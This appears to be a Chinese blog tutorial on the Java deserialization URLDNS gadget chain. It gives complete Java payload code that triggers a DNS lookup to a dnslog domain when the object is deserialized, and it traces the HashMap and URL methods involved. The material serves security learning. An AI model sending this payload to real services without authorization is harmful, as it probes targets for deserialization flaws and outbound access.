Java安全 反序列化(1) URLDNS链原理分析
Java安全 反序列化(1) URLDNS链原理分析
文章目录
- Java安全 反序列化(1) URLDNS链原理分析
- 前置知识
- 应用
- 分析payload
- 1.新建HashMap类
- 2.新建URL类
- 3.获取URL 的 Class对象
- 4.通过反射访问URL内部变量
- 5.通过反射为URL中类赋值
- 6.调用HashMap#put方法传入key和value
- 7.再次通过反射为URL类的hashcode赋值
- 原理分析
- 1.进行序列化
- 2.跟进HashMap的readobject方法
- 3.跟进hash方法
- 4.可以跟进URL的hashCode方法
- 5.跟进handler.hashCode方法
- 细节问题
- 为什吗要给URL类hashCode赋值两次?
开始学习Java反序列化链–URLDNS
前置知识
请提前了解Java序列化和反序列化,熟悉Java反射机制
应用
1.判断是否存在反序列化的点
2.判断目标是否出网
先上payload 后进行分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap =new HashMap();URL url = new URL("http://wxzzwpgygc.dgrh3.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}
}
可以触发dns请求
分析payload
1.新建HashMap类
HashMap hashmap =new HashMap();
什么是HashMap:
基于哈希表的实现的
Map
接口
我们简单理解为 URLDNS链的入口类,知道这个东西就行了
2.新建URL类
URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
3.获取URL 的 Class对象
Class c = url.getClass();
用于操作反射
4.通过反射访问URL内部变量
Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);
5.通过反射为URL中类赋值
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
6.调用HashMap#put方法传入key和value
hashmap.put(url,2);
hashmap.put(key,value)
key 为前面新建的url类
value 为任意值
7.再次通过反射为URL类的hashcode赋值
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
赋值URL类中的hashcode为-1
触发dns请求,完成访问
原理分析
1.进行序列化
public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}serialize(hashmap); //传入的obj为hashmap
那么反序列化会自动触发HashMap的readobject方法
我们可以调试分析一下
Ctrl-B跟进实现原理
2.跟进HashMap的readobject方法
在方法的最后调用了hash方法
3.跟进hash方法
进行判断只要key不为空
就 调用 key的hashCode()方法
我们传入的key是URL类的对象
所以调用的是URL#hashCode方法
4.可以跟进URL的hashCode方法
只有hashCode为-1 时
会进入hashCode = handler.hashCode(this);
this为当前对象的引用
5.跟进handler.hashCode方法
我们在新建URL类时 传入了我们的dnslog地址
getHostAddress
进行DNS解析,完成请求
细节问题
为什吗要给URL类hashCode赋值两次?
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,put时触发dns请求,我们可以做个实验
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap =new HashMap();URL url = new URL("http://rcjynkewns.dgrh3.cn");
// Class c = url.getClass();
// Field fieldhashcode=c.getDeclaredField("hashCode");
// fieldhashcode.setAccessible(true);
// fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);
// fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
// serialize(hashmap);
// unserialize();}
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new
// FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// oos.close();
// }
// public static void unserialize() throws IOException, ClassNotFoundException
// {
// ObjectInputStream ois = new ObjectInputStream(new
// FileInputStream("ser.bin"));
// ois.readObject();
// ois.close();
// }
//}
只留下了hashmap的put方法
可以发现照样触发
为了避免误判
我们先将URL.hashCode属性赋值为 只要不是-1的值
hashmap.put()方法后
再通过反射修改URL.hashCode属性为-1 完成请求
相关文章:
Java安全 反序列化(1) URLDNS链原理分析
Java安全 反序列化(1) URLDNS链原理分析 文章目录 Java安全 反序列化(1) URLDNS链原理分析前置知识应用分析payload1.新建HashMap类2.新建URL类3.获取URL 的 Class对象4.通过反射访问URL内部变量5.通过反射为URL中类赋值6.调用HashMap#put方法传入key和value7.再次通过反射为UR…...
电脑插上网线之后仍然没网络怎么办?
前言 有小伙伴在使用Windows系统的时候,经常会遇到电脑没网络,但又不知道具体怎么调整才好。 本篇内容适合插网线和使用Wi-Fi的小伙伴,文章本质上是重置电脑的网络设置。 注意事项:网络重置操作会让已连接过的wifi密码丢失&…...
easyexcel读和写excel
请直接看原文: JAVA使用easyexcel操作Excel-CSDN博客 -------------------------------------------------------------------------------------------------------------------------------- 之前写过一篇《JAVA操作Excel》,介绍了jxl和poi读写Excel的实现&am…...
路由器级联
目录 一、实现功能二、实现步骤2.1 接线步骤 三、效果3.1 常规连接3.2 路由器级联 一、实现功能 主路由器:可有WiFi功能,LAN口下接各设备,并接一个辅路由器辅路由器:开启WiFi功能,有线或无线下接各设备功能࿱…...
CentOS7使用Docker部署.net Webapi
1 准备WebApi项目 对于已存在的WebApi项目,需要添加Docker支持; 编码时,先设置好项目需要的端口号:program.cs中,app.Run("http://*:8000");设置端口为:8000在VS中,选中项目…...
Windows程序员用MAC:初始设置(用起来像win一些)
初级代码游戏的专栏介绍与文章目录-CSDN博客 初用Mac会有很多不习惯,特别是鼠标滚轮的滚动方向和windows是反的,还好是通过设置改变的。下面是我自己的设置。 目录 一、显示器设置 二、屏保、时钟、触发角 三、程序坞与菜单栏 四、安全性与隐私 五…...
基于深度学习YOLOv8+Pyqt5的工地安全帽头盔佩戴检测识别系统(源码+跑通说明文件)
wx供重浩:创享日记 对话框发送:318安全帽 获取完整源码源文件7000张已标注的数据集训练好的模型配置说明文件 可有偿59yuan一对一远程操作配置环境跑通程序 效果展示(图片检测批量检测视频检测摄像头检测) 基于深度学习YOLOv8Pyqt…...
csv编辑器是干什么的?
csv编辑器是一种用于编写、编辑和管理文本文件的工具。适用于 JetBrains IDE 系列的 CSV 编辑器插件,此插件将 CSV(逗号分隔值)作为一种语言引入 Jetbrains IDE,其中包含语法定义、结构化语言元素和关联的文件类型 (.c…...
计算机网络——物理层(奈氏准则和香农定理)
计算机网络——物理层(奈氏准则和香农定理) 失真码间串扰奈氏准则(奈奎斯特定理)极限数据率 噪声信噪比香农定理奈氏准则和香农定理的区别 前面我们已经了解一些数据通信的基本知识,没有看过上一篇得小伙伴可以点击这里…...
XML语言的学习记录3-解析
学习笔记: 一、 解析XML文档: 1.使用 XMLHttpRequest 对象,将xml文档放入XML DOM对象中: xmlhttpnew XMLHttpRequest(); xmlhttp.open("GET","books.xml",false); xmlhttp.send(); xmlDocxmlhttp.response…...
【Linux】cat vim 命令存在着什么区别?
Linux 中的 cat 命令和 vim 命令之间存在一些显著的区别! cat 命令 首先,cat命令主要用于连接并显示文件的内容。它的原含义是“连接(concatenate)”,可以将多个文件的内容连接起来,并输出到标准输出流中&…...
MeterSphere和Jmeter使用总结
一、MeterSphere 介绍 MeterSphere 是⼀站式开源持续测试平台,涵盖测试跟踪、接⼝测试、UI 测试和性能测试等,全 ⾯兼容 JMeter、Selenium 等主流开源标准,能够有效助⼒开发和测试团队在线共享协作,实现端到 端的测试管理跟踪…...
学习笔记Day8:GEO数据挖掘-基因表达芯片
GEO数据挖掘 数据库:GEO、NHANCE、TCGA、ICGC、CCLE、SEER等 数据类型:基因表达芯片、转录组、单细胞、突变、甲基化、拷贝数变异等等 常见图表 表达矩阵 一行为一个基因,一列为一个样本,内容是基因表达量。 热图 输入数据…...
如何将大华dav视频转mp4?一键无损清晰转换~
Digital Audio Video(DAV)文件格式源于数字监控领域,旨在解决视频监控数据的存储和回放问题。随着数字监控技术的发展,DAV格式逐渐成为监控设备记录视频的标准格式,广泛应用于安防系统、摄像头监控等场景。 MP4文件格式…...
数字化转型导师坚鹏:人工智能在金融机构数字化转型中的应用
人工智能在金融机构数字化转型中的应用 课程背景: 金融机构数字化转型离不开人工智能,在金融机构数字化转型中,人工智能起到至关重要的作用,很多机构存在以下问题: 不清楚人工智能产业对我们有什么影响?…...
部署Zabbix Agents添加使能监测服务器_Windows平台_MSI/Archive模式
Windows平台 一、从MSI安装Windows代理,添加Windows Servers/PC 概述 可以从Windows MSI安装包(32位或64位) 安装Zabbix agent 32位包不能安装在64位Windows中 所有软件包都支持TLS,配置TLS可选 支持UI和命令行的安装。 1、下载Agent代理程序,使用Agent2升级版,官网链接如…...
十一 超级数据查看器 讲解稿 详情6 导出功能
十一 超级数据查看器 讲解稿 详情6 导出功能 点击此处 以新页面 打开B站 播放当前教学视频 app下载地址 百度手机助手 下载地址4 讲解稿全文: 导出功能讲解 这节课我们讲解一下导出功能, 导出功能,可以将当前查到的信息导出成E…...
java遍历文件目录去除中文文件名
文章目录 一、原始需求二、maven依赖三、核心代码四、运行结果 一、原始需求 需要遍历文件目录及其子目录,找出包含中文字符的文件名,将中文字符去除。 二、maven依赖 pom.xml <dependency><groupId>org.apache.commons</groupId>&…...
LeetCode Python - 61. 旋转链表
目录 题目描述解法运行结果 题目描述 给你一个链表的头节点 head ,旋转链表,将链表每个节点向右移动 k 个位置。 示例 1: 输入:head [1,2,3,4,5], k 2 输出:[4,5,1,2,3] 示例 2: 输入:head…...
k8s client-java创建pod常见问题
1.配置Kubernetes连接: 使用Kubernetes的配置文件(通常位于~/.kube/config)或直接使用API服务器地址、认证信息等来配置客户端。 配置通常有两种模式,安全和不安全的配置模式,对认证要求严格就选用安全模式ÿ…...
C++——字符串、读写文件、结构体、枚举
个人简介 👀个人主页: 前端杂货铺 🙋♂️学习方向: 主攻前端方向,正逐渐往全干发展 📃个人状态: 研发工程师,现效力于中国工业软件事业 🚀人生格言: 积跬步…...
vscode 运行 java 项目之解决“Build failed, do you want to continue”的问题
Visual Studio Code运行 java 起来似乎比 IDEA 更轻量、比 eclipse 更友好,是不可多得的现代编译法宝。 安装好官方推荐的 java 扩展包后,就可以运行 java 代码了。功能 比 code runner 强,支持 gradle、maven、普通java项目,运行…...
yocto编译测试
源码下载 git clone -b gatesgarth git://git.yoctoproject.org/poky lkmaolkmao-virtual-machine:~/yocto$ git clone -b gatesgarth git://git.yoctoproject.org/poky Cloning into poky... remote: Enumerating objects: 640690, done. remote: Counting objects: 100% (13…...
rsync+inotify-tools文件传输
目录 rsync rsync概述 rsync优缺点 rsync参数 rsync命令 rsync同步源 linux 安装rsync 安装rsync服务端 安装rsync客户端 windows 安装rsync rsync实践 inotify-tools inotify-tools概述 innotify-tools 命令、参数、事件 rsync客户端安装inotify-tools innotif…...
UGUI界面性能优化3-合理规划界面层级结构
在Unity中,UGUI(Unity GUI)是一种用于创建用户界面的工具。合理规划界面层级结构对于开发一个可维护和易于使用的界面非常重要。以下是一种合理的UGUI界面层级结构规划方式: Canvas(画布):Canva…...
《论文阅读》EmpDG:多分辨率交互式移情对话生成 COLING 2020
《论文阅读》EmpDG:多分辨率交互式移情对话生成 COLING 2020 前言简介模型架构共情生成器交互鉴别器损失函数前言 亲身阅读感受分享,细节画图解释,再也不用担心看不懂论文啦~ 无抄袭,无复制,纯手工敲击键盘~ 今天为大家带来的是《EmpDG: Multi-resolution Interactive E…...
C语言calloc函数的特点,效率低。但是进行初始化操作
#define _CRT_SECURE_NO_WARNINGS 1 #include<stdlib.h> #include<string.h> #include<errno.h> #include<stdio.h> int main() { int *p (int *)calloc(10,sizeof(int)); //初始化,效率低,然而malloc函数相反…...
项目中遇到的sql问题记录
有一张表,表结构及数据如下: INSERT INTO test.test_approve(approve_no, tra_date, tablename, part_dt) VALUES (approve001, 2021-02-18 00:00:00, tableA, 2024-03-18); INSERT INTO test.test_approve(approve_no, tra_date, tablename, part_dt) …...
Python Web开发记录 Day13:Django part7 Ajax入门与案例(任务管理)
名人说:莫道桑榆晚,为霞尚满天。——刘禹锡(刘梦得,诗豪) 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 1、Ajax入门①简介②工作原理③优点④缺点⑤使用…...
寻找可能认识的人
给一个命名为:friend.txt的文件 其中每一行中给出两个名字,中间用空格分开。(下图为文件内容) 题目:《查找出可能认识的人 》 代码如下: RelationMapper: package com.fesco.friend;import or…...
做网站教学视频/爱站网关键词挖掘
1、概念 Object类是所有类的父类,也就是说任何一个类的定义的时候如果没有明确的继承一个父类的话,那么它就是Object的子类。既然Object是所有类的父类,那么最大的一个好处就在于:利用Object类可以接收全部类的对象,因…...
wordpress nosql/重庆网站seo诊断
观察者模式 观察者模式(Observer): 又被称为发布-订阅者模式或消息机制,定义了一种依赖关系,解决了主体对象与观察者之间功能的耦合。 创建一个观察者对象 首先我们创建一个闭包对象,让其在页面加载就立即执行 var Observer(funct…...
建设区块链网站/今日热点新闻10条
Python学习教程(Python学习视频_Python学些路线):字符串和常用数据结构 使用字符串 第二次世界大战促使了现代电子计算机的诞生,当初的想法很简单,就是用计算机来计算导弹的弹道,因此在计算机刚刚诞生的那…...
那个网站做的好/站长工具黄
前言 在一些射击类的游戏中,经常会有一些类似炮台的武器,可以上下左右旋转,对目标进行瞄准。又或者是人物身上的枪支,在准心转动的时候,保持着武器朝向准心的方向。本篇简单的进行了效果的实现,如下图&…...
重庆做网站公司哪家好/零基础学什么技术好
Redis线程模型线程模型消息处理流程I/O 多路复用程序的实现文件事件类型文件事件处理器连接应答处理器命令请求处理器命令回复处理器为什么Redis是单线程的Redis为什么快?线程模型 Redis 基于 Reactor 模式 开发了 自己的网络事件处理器: 这个处理器 被…...
网站设计做微信发现界面/网站域名服务器查询
random库是使用随机数的Python标准库 从概率论角度来说,随机数是随机产生的数据(比如抛硬币),但时计算机是不可能产生随机值,真正的随机数也是在特定条件下产生的确定值,只不过这些条件我们没有理解&#x…...